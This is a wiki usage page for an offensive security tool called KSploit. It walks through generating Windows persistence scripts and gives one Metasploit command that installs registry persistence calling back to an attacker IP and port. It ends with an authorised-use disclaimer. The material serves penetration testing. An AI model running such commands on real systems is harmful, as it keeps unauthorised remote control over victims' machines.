-
-
Notifications
You must be signed in to change notification settings - Fork 1
Persistence Scripts
-
From the main menu, press
4
to craft persistence scripts for windows x64 or android targets. -
Press
enter
to continue
You are presented with options:
KSploit Persistence Menu Options: |
---|
🖥️ 1. Windows Persistence Script. |
🤖 2. Android Persistence Script. |
🚪 q. Quit to the main menu. |
Choose Option 1 to craft a Windows x64 persistence script
Choose Option 2 to craft an Android persistence script
- From the persistence menu, press
1
to craft a Windows x64 persistence script - Enter the attacker ip address (probably in the "current adapter addresses" on your screen)
- Enter the target port, i.e.
4444
(the port the attacker machine is listening on)
- Enter the session id of the meterpreter session created by the target
- A persistence script will be generated with meterpreter commands for both current and older msfconsole versions
- Type (or copy/paste) the command related to your msfconsole version (everything highlighted in grey) at the meterpreter command prompt. i.e.:
run exploit/windows/local/registry_persistence LHOST=10.0.2.15 LPORT=4444 SESSION=1
- If all goes well, you have installed persistence to the registry of the target windows machine.
The KSploit script is a tool intended for legitimate penetration testing and security research purposes only. It should only be used with explicit permission and in accordance with all applicable laws and regulations. The ability to generate malicious payloads and shell scripts raises significant ethical and legal concerns. Users of this tool are solely responsible for ensuring their actions are authorized and lawful.
Under no circumstances should this script be used to gain unauthorized access to systems, disrupt operations, or conduct any other malicious activities. The author and distributors of this tool will not be held liable for any misuse or damages resulting from its use.
It is the user's responsibility to only utilize KSploit within the scope of their authorized testing activities, to respect the privacy and security of all parties involved, and to discontinue use if concerns arise about the legality or ethics of their actions. Improper or illegal use of this tool may result in severe civil and criminal penalties.
📄 Table of Contents |
---|
Home |
Installation Instructions |
Usage Instructions |
- Listeners Usage |
- Payloads Usage |
- Persistence Scripts Usage |
- Windows exe Payload Injection Usage |